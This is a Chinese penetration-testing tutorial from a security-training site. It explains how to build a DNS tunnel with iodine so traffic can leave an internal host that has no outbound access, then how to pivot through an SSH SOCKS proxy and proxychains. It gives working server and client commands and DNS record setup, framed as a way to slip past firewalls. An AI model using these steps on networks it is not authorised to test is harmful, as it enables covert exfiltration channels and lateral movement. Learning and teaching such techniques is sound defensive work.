实战攻防
内网渗透之DNS隧道搭建(1)
2021-08-26 03:23

前言

年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。


DNS隧道介绍

DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。

1.png

DNS隧道搭建工具推荐

DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。

前置准备

因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:

2.png

第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"

第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。

最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。

配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。

iodine进行隧道搭建

1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。

apt-get install iodine

2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:

3.png

 iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD

#-f:在前台运行
#-c:禁止检查所有传入请求的客户端IP地址。
#-P:客户端和服务端之间用于验证身份的密码。
#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
#注意!填写的地址为NS记录

3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:

4.png

iodine -f -P d1m0n dns2tcp.xxx.com  -M 200

#-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
#-M:指定上行主机的大小。
#-m:调节最大下行分片的大小。
#-f:在前台运行
#-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
#-O:指定数据编码规范。
#-P:客户端和服务端之间用于验证身份的密码。
#-L:指定是否开启懒惰模式,默认开启。
#-I:指定两个请求之间的时间间隔。

两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:

5.png

到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:

ssh -N -D 8080 user@192.168.0.1

#-N 指示SSH不要启动shell,因为我们只是想创建代理

#-D 设置动态端口转发,SOCKS代理端口为8080

#user 我们服务器上的用户

#192.168.0.1 tun接口上的iodine服务器

6.png

输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4

vim /etc/proxychains4.conf

7.png

最后验证一下我们的代理有没有搭好:

proxychains4 curl http://www.baidu.com

8.png

大功告成,后面就是内网漫游时间~

实验名称:DNS服务器配置


上一篇:PHP反序列化字符逃逸详解
下一篇:SoapClient原生类在开发以及安全中利用
版权所有 合天智汇信息技术有限公司 2013-2021 湘ICP备14001562号-6
Copyright © 2013-2020 Heetian Corporation, All rights reserved
4006-123-731